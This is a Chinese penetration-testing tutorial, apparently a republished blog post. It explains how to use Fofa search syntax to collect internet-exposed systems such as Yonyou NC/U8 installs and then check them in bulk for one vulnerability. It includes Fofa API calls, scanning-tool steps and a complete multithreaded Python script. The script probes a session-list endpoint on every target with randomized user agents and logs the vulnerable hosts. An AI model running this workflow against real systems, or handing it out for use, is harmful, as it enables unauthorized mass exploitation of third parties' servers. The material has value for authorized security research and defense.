文章总结： 文章详细介绍了使用Fofa网络空间搜索引擎进行批量漏洞挖掘的方法，包括基础搜索语法、信息收集、资产筛选、漏洞验证和结果整理四个阶段。文章提供了FofaAPI调用、Base64编码转换、存活资产检测、指纹识别等具体操作步骤，并给出了用友U8OASQL注入漏洞的批量检测脚本示例。通过结合Fofa搜索语法和自动化工具，安全研究人员可以高效地发现和验证同一类漏洞，提高漏洞挖掘效率。
综合评分： 88
文章分类： WEB安全,渗透测试,漏洞分析,安全工具,信息收集

Fofa搜索语法实现同一类漏洞批量挖掘

原创

lily

C4安全

2025年11月19日 09:04
江苏

——这是FOFA语法基础篇的第二篇介绍文章

一、Fofa基础与核心搜索语法

1.1 Fofa是什么

Fofa是一款网络空间搜索引擎，能够快速发现并识别互联网上的设备和系统。通过精准的搜索语法，可以快速定位特定类型的网络资产，是安全研究人员进行信息收集的重要工具。

1.2 核心搜索语法

Fofa搜索语法主要由协议类型、标题、HTTP头、状态码、产品信息等要素构成：

• title="后台"

• 搜索标题包含”后台”的网站

• body="login"

• 搜索页面内容包含”login”的网站

• header="Server: nginx"

• 搜索HTTP头中包含”Server: nginx”的网站

• port="8080"

• 搜索使用8080端口的网站

• product="Weblogic"

• 搜索Weblogic产品

• app="用友-NC-Cloud"

• 搜索特定应用

• icon_hash="2177235413"

• 通过favicon哈希值搜索特定系统

• ip="114.114.114.114"

• 搜索特定IP

• domain="example.com"

• 搜索特定域名下的资产

• cert="baidu.com"

• 搜索证书中包含”baidu.com”的HTTPS网站

1.3 语法组合技巧

• 逻辑操作符：&&（与）、||（或）、!（非）

• title="后台" && body="login"

• product="Weblogic" || product="Tomcat"

• title="管理系统" && !body="test"

• 通配符：*

• title="*管理系统*"

• 分组：()

• (title="后台" || title="登录") && body="admin"

FOFA地址：

https://fofa.info/

二、批量挖洞完整流程

批量挖洞主要分为四个阶段：信息收集 → 资产筛选 → 漏洞验证 → 结果整理

2.1 信息收集阶段

2.1.1 Fofa API调用

需要先注册Fofa账号（https://fofa.info/），获取Email和API Key，用于程序化调用。这里也推荐直接手动查询，效果是一样的。

# Fofa API基础调用示例
curl"https://fofa.info/api/v1/search/all?email=your_email&key=your_api_key&qbase64=base64编码的查询语句&page=1&size=100"

2.1.2 获取Fofa语法的Base64编码

import base64

# 将Fofa语法转换为Base64编码
fofa_query ='app="用友-NC-Cloud"'
encoded_query = base64.b64encode(fofa_query.encode()).decode()
print(f"Base64编码结果: {encoded_query}")

2.1.3 Fofa采集工具使用

推荐使用fofa-viewer，这是一个由狼组安全团队开发的GUI工具：

1. 下载地址：https://github.com/wgpsec/fofa_viewer/releases
2. 当前最新版本：v1.4.0
3. 系统要求：Windows 10+ 或 Linux (需Python 3.6+)
4. 配置步骤：

• 填写Fofa账号的Email和API Key
• 输入Fofa语法（如：app="用友-NC-Cloud"）
• 点击”采集”按钮
• 导出结果为txt文件（每行一个URL）

2.2 资产筛选阶段

获取大量资产后，需要进行筛选以提高检测效率：

2.2.1 使用WebAliveScan检测存活资产

推荐工具：WebAliveScan

1. 下载地址：https://github.com/broken5/WebAliveScan
2. 当前最新版本：v1.2
3. 系统要求：Java 8+
4. 使用方法：

# 下载并解压
wget https://github.com/broken5/WebAliveScan/releases/download/v1.2/WebAliveScan_v1.2.zip
unzip WebAliveScan_v1.2.zip
cd WebAliveScan

# 运行扫描（输入为fofa_results.txt）
java-jar WebAliveScan.jar fofa_results.txt alive_results.txt

2.2.2 使用Goby进行指纹识别

推荐工具：Goby

1. 下载地址：https://gobies.org/download.html
2. 当前最新版本：v2.0.0
3. 系统要求：Windows 7+ / macOS 10.14+ / Linux (x86_64)
4. 批量导入IP进行扫描：

• 导入alive_results.txt中的IP
• 选择”快速扫描”或”深度扫描”模式
• 导出扫描结果为JSON或CSV格式

2.3 漏洞验证阶段

2.3.1 Fofa+Xray联合批量扫描

推荐工具：fofa2Xray

1. 下载地址：https://github.com/ldmtwo/fofa2Xray
2. 当前最新版本：v1.0
3. 系统要求：Windows / Linux (需Go 1.16+)

2.3.2 自定义POC脚本实现批量检测

以”用友 U8 OA SQL注入漏洞”为例：

import requests
import sys
import urllib3
from argparse import ArgumentParser
import threading
from queue import Queue
import random
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 生成随机User-Agent
defget_ua():
    first_num = random.randint(55,62)
    third_num = random.randint(0,3200)
    fourth_num = random.randint(0,140)
    os_type =[
'(Windows NT 6.1; WOW64)',
'(Windows NT 10.0; WOW64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
    chrome_version =f'Chrome/{first_num}.0.{third_num}.{fourth_num}'
returnf'Mozilla/5.0 {random.choice(os_type)} AppleWebKit/537.36 (KHTML, like Gecko) {chrome_version} Safari/537.36'

# 漏洞检测函数
defcheck_vuln(url, timeout=10):
    target = url.rstrip('/')+'/yyoa/ABSServlet?cmd=getSessionList'
    headers ={
'User-Agent': get_ua(),
'Accept':'*/*',
'Content-Type':'application/x-www-form-urlencoded'
}

try:
        response = requests.get(target, headers=headers, timeout=timeout, verify=False)
if'sessionList'in response.text and response.status_code ==200:
print(f"[+] 漏洞存在: {url}")
withopen('vuln_results.txt','a')as f:
                f.write(f"{url}\n")
returnTrue
except Exception as e:
pass
returnFalse

# 线程工作函数
defworker(q):
whilenot q.empty():
        url = q.get()
        check_vuln(url)
        q.task_done()

defmain():
    parser = ArgumentParser(description='用友 U8 OA SQL注入漏洞批量检测')
    parser.add_argument('-f','--file', required=True,help='目标URL列表文件')
    parser.add_argument('-t','--threads',type=int, default=20,help='并发线程数')
    args = parser.parse_args()

# 初始化队列
    url_queue = Queue()

# 读取目标文件
withopen(args.file,'r')as f:
for line in f:
            url = line.strip()
if url and(url.startswith('http://')or url.startswith('https://')):
                url_queue.put(url)

# 创建并启动线程
print(f"开始检测，共 {url_queue.qsize()} 个目标，使用 {args.threads} 个线程...")
    start_time = time.time()

for _ inrange(args.threads):
        t = threading.Thread(target=worker, args=(url_queue,))
        t.daemon =True
        t.start()

# 等待所有任务完成
    url_queue.join()

print(f"检测完成，耗时: {time.time()- start_time:.2f}秒")
print(f"漏洞结果已保存到 vuln_results.txt")

if __name__ =='__main__':
    main()

使用方法：

python yonyou_u8_sql_inject.py -f alive_results.txt -t50

后期批量检测可以确定好某一漏洞产品，然后下载同产品的目标网站，进行批量检测同一漏洞即可。

高级技巧与注意事项

3.1 搜索语法优化技巧

1. 精准识别：结合多个特征提高准确性

• title="用友NC Cloud" && header="Server: Apache-Coyote/1.1"
• body="ufida" && icon_hash="1156182447"

1. 排除误报：

• app="用友-NC-Cloud" && status_code="200" && !title="测试环境"

1. 按地区筛选：

• app="用友-NC-Cloud" && country="CN"

1. 按IP段筛选：

• app="用友-NC-Cloud" && ip="114.0.0.0/8"

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